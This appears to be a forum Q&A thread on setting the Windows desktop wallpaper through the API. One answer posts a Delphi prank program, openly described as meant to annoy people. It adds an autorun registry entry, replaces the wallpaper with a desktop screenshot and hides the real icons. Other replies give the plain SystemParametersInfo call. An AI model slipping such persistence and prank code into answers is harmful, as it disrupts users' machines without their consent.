[Webinar] Streamline your web hosting managementRegister Today

x
  • Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 384
  • Last Modified:

Wallpaper

Who know a name of API function to set a new WallPaper on Windows desktop?
0
lmikle
Asked:
lmikle
  • 5
  • 3
  • 3
  • +1
1 Solution
 
JaymolCommented:
This is a lot, I know, for such a simple question, but I decided to give you the whole program.  Create a project, remove all the forms from the project and paste this lot into the project source....


program InactiveDesktop;

uses
            Windows, Classes, Graphics, IniFiles, Registry, Messages;

{$IFNDEF WIN32}
 const MAX_PATH = 144;
{$ENDIF}

var
   BackGround : TBitmap;
   BackGroundCanvas : TCanvas;
   DC : hDC;
   ScreenWidth, ScreenHeight : integer;
   WIni      :      TIniFile;
   Wppr      :      String;
   WinDir      :      Array[0..MAX_PATH] of char;
   WReg      :      TRegistry;
   RegEntry      :      String;
       h      : hwnd;

begin
     GetWindowsDirectory(WinDir,SizeOf(WinDir));
            Wreg:=TRegistry.Create;
            WReg.RootKey:=HKEY_LOCAL_MACHINE;
     WReg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\',True);
     RegEntry:=WReg.ReadString('~~ID');
     if RegEntry='' then begin
           WReg.WriteString('~~ID',WinDir+'\system\ID.exe');
        WReg.Free;
        halt;
     end;
     WReg.Free;
     WIni:=TIniFile.Create('win.ini');
              wppr:=WinDir+'\bacdrp.bmp';
     WIni.WriteString('Desktop','Wallpaper',Wppr);
     WIni.WriteInteger('Desktop','WallpaperStyle',1);
     WIni.Free;
     ShowCursor(False);
     ScreenWidth := GetSystemMetrics(SM_CXSCREEN);
     ScreenHeight := GetSystemMetrics(SM_CYSCREEN);
     BackGround := TBitmap.Create;
     BackGround.Width := ScreenWidth;
     BackGround.Height := ScreenHeight;
     DC := GetDC(0);
     BackGroundCanvas := TCanvas.Create;
     BackGroundCanvas.Handle := DC;
     BackGround.Canvas.CopyRect(Rect(0,0,ScreenWidth, ScreenHeight),
                                BackGroundCanvas,
                                Rect(0,0,ScreenWidth, ScreenHeight));
             BackGround.SaveToFile(wppr);
     BackGroundCanvas.Free;
     ReleaseDC(0,DC);
     BackGround.Free;
     ShowCursor(True);
     SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar(Wppr),SPIF_SENDWININICHANGE);
     SendMessage(FindWindow('Progman', 'Program Manager'),WM_COMMAND,$A065,0);
            h:=Findwindow('Progman','Program Manager');
            ShowWindow(h,SW_hide);
end.

Now PLEASE don't run it and think "isn't John a nice guy!"  I'm not!  I wrote this program to piss people off.  It takes a snapshot of the desktop - with icons - and then replaces the wallpaper with it and assigns it as new wallpaper.  Then, it removes the icons from the desktop, but they are still visible on the wallpaper so people try and click em, but to no avail!

Anyway, it shows you how to do it.

John.
0
 
rwilson032697Commented:
Listening
0
 
TheNeilCommented:
Err yeah you could do it Jaymol's way or you could just use the following:

SystemParametersInfo(SPI_SetDeskWallpaper, 0, PCHAR(new_image_filename), SPIF_UPDATEINIFILE);

The Neil
0
Keep up with what's happening at Experts Exchange!

Sign up to receive Decoded, a new monthly digest with product updates, feature release info, continuing education opportunities, and more.

 
JaymolCommented:
Err yeah, you could.
0
 
TheNeilCommented:
Sorry Jaymol, there was just far too much code for my poor little brain to look at so I ignored the majority of your stuff when I saw Registry and didn't realise that you'd already suggested it - oops

The Neil
0
 
lmikleAuthor Commented:
OK, but it's a not refresh a current desktop :(
0
 
lmikleAuthor Commented:
OK, but it's a not refresh a current desktop :(
0
 
JaymolCommented:
The last bit of my code refreshes the desktop so it becomes current....

  SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar(Wppr),SPIF_SENDWININICHANGE);
  SendMessage(FindWindow('Progman', 'Program Manager'),WM_COMMAND,$A065,0);

I'm not entirely sure which line does it cos it's that long since I wrote this program.  (It's not the kind of thing you need to do when developing boring business applications and databases!)

If that's not right, tell me and I will get the right stuff for you.

John.
0
 
JaymolCommented:
Yeah....do this.....

      SystemParametersInfo(SPI_SetDeskWallpaper, 0, PCHAR('wallpaper bitmap'), SPIF_UPDATEINIFILE);
  SendMessage(FindWindow(nil, 'Program Manager'),WM_COMMAND,$A065,0);


That sets and refreshes it for me!

John.
0
 
JaymolCommented:
Sorry......I did mean to keep the original code, not use Neil's.....that should have been SPIF_SENDWININICHANGE, as above!

John.
0
 
lmikleAuthor Commented:
I try both samples, but it's no effect.
Only if i use SPIF_UPDATEINIFILE in SystemParametersInfo it's chenge in registry. But not refresh a current desktop (without restart windows).

I use Windows NT 4.0 SP5 (M.b. it OS problem, but it must work on win 9x and NT).
0
 
TheNeilCommented:
I know that you CAN force an update using the code that I posted before but I can't remember if you need anything else (I don't think you do). I haven't used the SPIF_INIUPDATE version (or indeed ANY variation) for a few years now but it DID work under Windows 95 as my particular code cycled the Windows wallpaper every couple of minutes.

As I remember it was very much a trial and error thing so just try playing around with the parameters supplied to SystemParametersInfo

The Neil
0

Featured Post

Free Tool: Path Explorer

An intuitive utility to help find the CSS path to UI elements on a webpage. These paths are used frequently in a variety of front-end development and QA automation tasks.

One of a set of tools we're offering as a way of saying thank you for being a part of the community.

  • 5
  • 3
  • 3
  • +1
Tackle projects and never again get stuck behind a technical roadblock.
Join Now